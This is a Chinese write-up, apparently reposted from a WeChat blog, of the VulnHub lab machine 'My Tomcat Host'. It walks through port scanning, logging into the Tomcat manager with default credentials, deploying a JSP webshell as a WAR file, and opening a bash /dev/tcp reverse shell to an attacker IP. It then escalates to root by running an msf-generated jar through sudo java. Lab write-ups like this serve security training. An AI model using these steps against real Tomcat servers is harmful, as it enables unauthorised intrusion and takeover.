靶机搭建
靶机地址:https://www.vulnhub.com/entry/my-tomcat-host-1,457/
靶机目标:
目标1:提权查看root目录下的proof.txt文件。
使用工具:
nc、portscan、msf、kali。
操作过程
0x00 信息收集
首先给定一个IPhttp://192.168.180.44/,其他的什么也不知道。那就开始扫描端口吧,看有什么端口开启,开放了什么服务。
这里我使用的是portscan扫描端口,也可以使用nmap等其他工具。
可以看到开放22端口和8080端口。
首先访问8080端口,开始目录扫描,访问该目录会发现管理后台为manager。
0x01 漏洞利用
访问后台,发现后台密码为弱口令,tomcat:tomcat。
还可以查看到tomcat的服务器信息。
搜索tomcat的漏洞,其中有一个为tomcat后台部署war包漏洞,尝试一下。
首先先将jsp马进行压缩保存为zip文件,再将zip后缀改为war后缀。
在这里上传war包,并点击部署。
对比之前多了ma1目录,直接访问出错。我们访问ma1/ma1.jsp(马的路径加马的名字),直接输入密码即可成功。
可以发现存在后台部署war包漏洞。
0x02 反弹shell
之前已经上传了大马,我们可以执行命令或者看权限大小和能否提权。
在大马反弹shell。查找nc,无nc。
查找bash命令,存在bash命令。
使用bash反弹,连接失败。
在这里我重新上传了一个ss.jsp,由于临时更换热点的原因,更改了ip。
更改ip为http://192.168.180.32:8080/ss/ss.jsp
使用cknife连接生成的马。
终端执行bash反弹shell。
bash -i >& /dev/tcp/192.168.60.146/88880>&1
nc监听,成功反弹shell,但是显示是不成功的。
0x03 提权
sudo -l
进入系统,查看 sudo 权限发现有一个 java 命令,那就可以再次制作一个 jar 木马,然后建立shell。需要使用tty。python-c 'import pty;pty.spawn("/bin/sh")'
使用msf生成root.jar。
使用ssh连接scp命令传文件失败。
本机开启服务,使用wget下载文件。
以root权限执行sudo -u root java -jar root.jar 提示必须有一个tty。
我们使用python弹一个tty。
python -c 'importpty;pty.spawn("/bin/sh")'
nc监听。
监听发现实现连接,但是未出现交互式shell。再次输入python -c 'import pty;pty.spawn("/bin/sh")' ,现在已经是交互式shell了。id查看权限,提权成功。
思路总结:
通过扫描端口,发现存在8080端口。使用tomcat后台部署war包获取shell,CKnife连接jsp马。bash反弹弹出shell,使用sudo -l查看可执行命令为java,所以使用msf生成jar包,使用sudo root java执行jar包,并进行反弹shell,最后成功提权。
原文始发于微信公众号(仙友道):VulnHub-My_Tomcat_Host
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论